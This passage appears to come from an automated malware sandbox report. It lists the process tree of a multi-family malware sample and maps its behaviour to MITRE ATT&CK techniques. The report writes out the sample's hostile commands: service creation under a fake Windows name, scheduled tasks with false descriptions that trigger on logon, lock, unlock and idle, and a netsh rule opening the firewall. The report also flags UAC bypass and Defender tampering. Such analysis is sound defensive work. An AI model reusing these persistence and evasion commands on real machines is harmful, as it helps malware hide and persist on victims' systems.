- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:5812
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:1160
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:2588
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "UsbCeip_4ac9d938" /F
    3⤵
    PID:2852
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "Holy Check"
      4⤵
      PID:3984
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "UsbCeip_4ac9d938" /XML "C:\Users\Admin\AppData\Local\Temp\34d4aa5a-f99c-4326-9e93-48712bfc7643.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4996
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3620
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5612
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5548
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2752
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5956
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_6e817452" /F
    3⤵
    PID:4416
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_6e817452" /XML "C:\Users\Admin\AppData\Local\Temp\38177e49-c8e3-477d-96df-77973dc85398.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5236
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_907800b6" /F
    3⤵
    PID:5736
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_907800b6" /XML "C:\Users\Admin\AppData\Local\Temp\0d6e623d-e124-4fa4-ac83-fc1314aaddbb.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3320
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_0086a46e" /F
    3⤵
    PID:1032
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_0086a46e" /XML "C:\Users\Admin\AppData\Local\Temp\12c9a32e-8fff-4b58-ab39-01c6180360eb.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2580
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "SystemSoundsService_6e20a725" /F
    3⤵
    PID:4916
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "SystemSoundsService_6e20a725" /XML "C:\Users\Admin\AppData\Local\Temp\20c9fce0-1fb7-4d1f-82c8-b096520dbfe7.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4988
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_d313014a" /F
    3⤵
    PID:5384
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_d313014a" /XML "C:\Users\Admin\AppData\Local\Temp\51e36671-b691-4431-afa4-1d72e4b09b63.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3336

C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Windows\System32\BootFiles\BootExecutor.exe
C:\Windows\System32\BootFiles\BootExecutor.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3488
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:5400
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\System32\BootFiles\BootExecutor.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:472
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:5188
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_f5fbf961" /F
  2⤵
  PID:1360
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_f5fbf961" /XML "C:\Users\Admin\AppData\Local\Temp\23059489-80eb-4550-a33a-b530617ed76f.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4728
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_a2877da4" /F
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_a2877da4" /XML "C:\Users\Admin\AppData\Local\Temp\743ac46b-0703-495c-b775-bd982866103c.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2280
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "User_Feed_Synchronization-749b3551-4782-454c-beac-b219eafa80d8" /F
  2⤵
  PID:5440
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "User_Feed_Synchronization-749b3551-4782-454c-beac-b219eafa80d8" /XML "C:\Users\Admin\AppData\Local\Temp\2141213c-a0b6-4ec3-a904-780b68281cbc.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3400
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyMonitor_d224ce20" /F
  2⤵
  PID:1800
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyMonitor_d224ce20" /XML "C:\Users\Admin\AppData\Local\Temp\b591bf99-1d71-4fab-a47d-929657544724.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1188
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_59842c36" /F
  2⤵
  PID:3332
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_59842c36" /XML "C:\Users\Admin\AppData\Local\Temp\f424eb6c-c5ab-4cb4-b3e4-9d43f71615ba.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1652
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "ProgramDataUpdater_1cf92f0a" /F
  2⤵
  PID:2996
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "ProgramDataUpdater_1cf92f0a" /XML "C:\Users\Admin\AppData\Local\Temp\ef4a192c-7ab3-4dfb-9e6a-4ce782870991.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5148
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2644
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4540

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SkypeHost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SkypeHost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3532

C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4364

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry